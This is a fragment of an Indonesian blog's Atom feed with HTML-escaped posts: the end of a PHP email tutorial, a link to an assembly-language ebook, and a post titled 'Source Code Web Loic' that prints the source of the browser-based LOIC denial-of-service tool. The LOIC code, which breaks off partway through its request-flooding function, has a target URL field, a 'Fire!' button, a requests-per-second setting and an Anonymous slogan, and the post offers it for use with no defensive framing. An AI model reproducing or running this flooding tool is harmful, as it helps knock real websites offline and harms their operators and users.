width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimjDAlui-DjbRnvCUaKt90cJQL97l3SI1ocACHaLAtcsFgjccZKW3qG6cgPQCAAU1aKWJTg6td73JdI9gwK_uAjk1_h7qw3xgxLupu5zOwZN3sCKiSF89hqnabE0FEdzaiFb9-l2GOryI/s1600/mail2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;215&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimjDAlui-DjbRnvCUaKt90cJQL97l3SI1ocACHaLAtcsFgjccZKW3qG6cgPQCAAU1aKWJTg6td73JdI9gwK_uAjk1_h7qw3xgxLupu5zOwZN3sCKiSF89hqnabE0FEdzaiFb9-l2GOryI/s400/mail2.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Download Source Code : &lt;a href=&quot;https://www.facebook.com/download/202570533206657/Tutorial%20Kirim%20Email%20%28PHP%29.rar&quot;&gt;https://www.facebook.com/download/202570533206657/Tutorial%20Kirim%20Email%20%28PHP%29.rar&lt;/a&gt;&lt;a href=&quot;https://www.facebook.com/download/202570533206657/Tutorial%20Kirim%20Email%20%28PHP%29.rar&quot;&gt;https://www.facebook.com/download/202570533206657/Tutorial%20Kirim%20Email%20%28PHP%29.rar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/6750829121757696762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/send-email-php-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/6750829121757696762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/6750829121757696762'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/send-email-php-tutorial.html' title='Send Email (PHP Tutorial)'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuiz4TD3aE45CW-LXEIM8aq5HweDqZ4e2ykTYQW9AB5m5WUNsQzvTkWypBwYMKm_jFg4HwVk18ZgGPHXwwDZHqSXDtzkstYZcrKBd4GDZgjp1dQdQRhdyAU8syTIAZ1InihPEK1bYqek/s72-c/mail1.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-5018914767658747471</id><published>2012-08-28T01:56:00.000-07:00</published><updated>2013-03-28T23:05:20.421-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ebook"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Free Ebook : The Art Of Assembly Language32bit edition</title><content type='html'>Ebook Gratis... buat yang pingin belajar HLA atau High Level Assemblay... Lansung aja di download ni...&lt;br /&gt;
&lt;a href=&quot;http://portal.aauj.edu/portal_resources/downloads/programming/assembly_language32bit_edition.pdf&quot; target=&quot;_blank&quot;&gt;http://portal.aauj.edu/portal_resources/downloads/programming/assembly_language32bit_edition.pdf&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/5018914767658747471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/free-ebook-art-of-assembly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/5018914767658747471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/5018914767658747471'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/free-ebook-art-of-assembly.html' title='Free Ebook : The Art Of Assembly Language32bit edition'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-4237585246005775810</id><published>2012-08-28T01:22:00.000-07:00</published><updated>2013-03-28T23:06:42.625-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Source Code Web Loic</title><content type='html'>Langsung Aja Berikut Ini Source Code Web Loic Dari Anonymouse...&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed rgb(0, 0, 255); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;STYLE type=&quot;text/css&quot;&amp;gt;
body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}
&amp;nbsp;&amp;lt;/STYLE&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; function setAttributeOnload(object, attribute, val) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(window.addEventListener) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; window.addEventListener(&quot;load&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; function(){ object[attribute] = val; }, false);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; window.attachEvent(&#39;onload&#39;, function(){ object[attribute] = val; });
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }
&amp;lt;/script&amp;gt;
&amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;lt;h1&amp;gt;DO NOT USE TOR !&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;By using TOR, you hit the Tor exit node, not the target! Do not use it !&amp;lt;br /&amp;gt;
&amp;nbsp; &amp;lt;br /&amp;gt;
&amp;lt;/h2&amp;gt;
&amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;fieldset style=&quot;width: 100%; height: 100%;&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;legend&amp;gt;&amp;lt;span class=&quot;Estilo3&quot;&amp;gt;&amp;lt;strong&amp;gt;Step 1. Select Target: &amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;URL:&amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/label&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;&amp;lt;br /&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input name=&quot;Our target&quot; id=&quot;targetURL&quot; style=&quot;width: 100%;&quot; value=&quot;http://www.target.com&quot;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/fieldset&amp;gt;

&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;fieldset style=&quot;width: 100%; height: 100%;&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;legend&amp;gt;&amp;lt;span class=&quot;Estilo3&quot;&amp;gt;&amp;lt;strong&amp;gt;Step 2. AIM YOUR CANNONS!&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;button id=&quot;fireButton&quot; style=&quot;background-color:red; border-color: rgb(255, 255, 255); width: 240px; height: 100px;&quot;&amp;gt; &amp;lt;h1&amp;gt;Fire !&amp;lt;/h1&amp;gt; &amp;lt;/button&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/fieldset&amp;gt;

&amp;nbsp; &amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;fieldset style=&quot;width: 100%; height: 100%;&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;legend&amp;gt;&amp;lt;span class=&quot;Estilo3&quot;&amp;gt;Optional. Attack Options &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;Requests per second:&amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;label&amp;gt; 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input style=&quot;width: 40px;&quot; id=&quot;rps&quot; value=&quot;100&quot; /&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/label&amp;gt; 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;label&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;&amp;lt;span class=&quot;Estilo3&quot;&amp;gt;&amp;lt;strong&amp;gt;Message:&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input id=&quot;message&quot; style=&quot;width: 100%;&quot; value=&quot;We Are Legion ! Expect us !&quot; /&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/label&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/fieldset&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;fieldset style=&quot;width: 100%; height: 100%;&quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;legend&amp;gt;&amp;lt;span class=&quot;Estilo3&quot;&amp;gt;Attack status:&amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dl&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dt&amp;gt;&amp;lt;strong&amp;gt;Request:&amp;lt;/strong&amp;gt;&amp;lt;/dt&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dd class=&quot;Estilo2&quot; id=&quot;requestedCtr&quot;&amp;gt;0&amp;lt;/dd&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dt&amp;gt;&amp;lt;strong&amp;gt;Achieved:&amp;lt;/strong&amp;gt;&amp;lt;/dt&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dd class=&quot;Estilo3&quot; id=&quot;succeededCtr&quot;&amp;gt;0&amp;lt;/dd&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dt&amp;gt;&amp;lt;strong&amp;gt;Failed:&amp;lt;/strong&amp;gt;&amp;lt;/dt&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dd class=&quot;Estilo2&quot; id=&quot;failedCtr&quot;&amp;gt;0&amp;lt;/dd&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/dl&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/fieldset&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;
&amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;nbsp; &amp;lt;script&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (function () {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var fireInterval;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var isFiring = false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var currentTime = new Date()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var lastSuccess = currentTime.getTime();

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var requestedCtrNode = document.getElementById(&quot;requestedCtr&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; succeededCtrNode = document.getElementById(&quot;succeededCtr&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; failedCtrNode = document.getElementById(&quot;failedCtr&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; targetURLNode = document.getElementById(&quot;targetURL&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fireButton = document.getElementById(&quot;fireButton&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; messageNode = document.getElementById(&quot;message&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rpsNode = document.getElementById(&quot;rps&quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; timeoutNode = document.getElementById(&quot;timeout&quot;);

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var requestsHT = {}; // requests hash table, may come in handy later

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var requestedCtr = 0,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; succeededCtr = 0,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; failedCtr = 0;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var makeHttpRequest = function () {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( (currentTime.getTime()-lastSuccess) &amp;gt; 10000) { //Allow no more than 1000 hung requests
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else { lastSuccess = currentTime.getTime();};

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var rID =Number(new Date());
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var img = new Image();
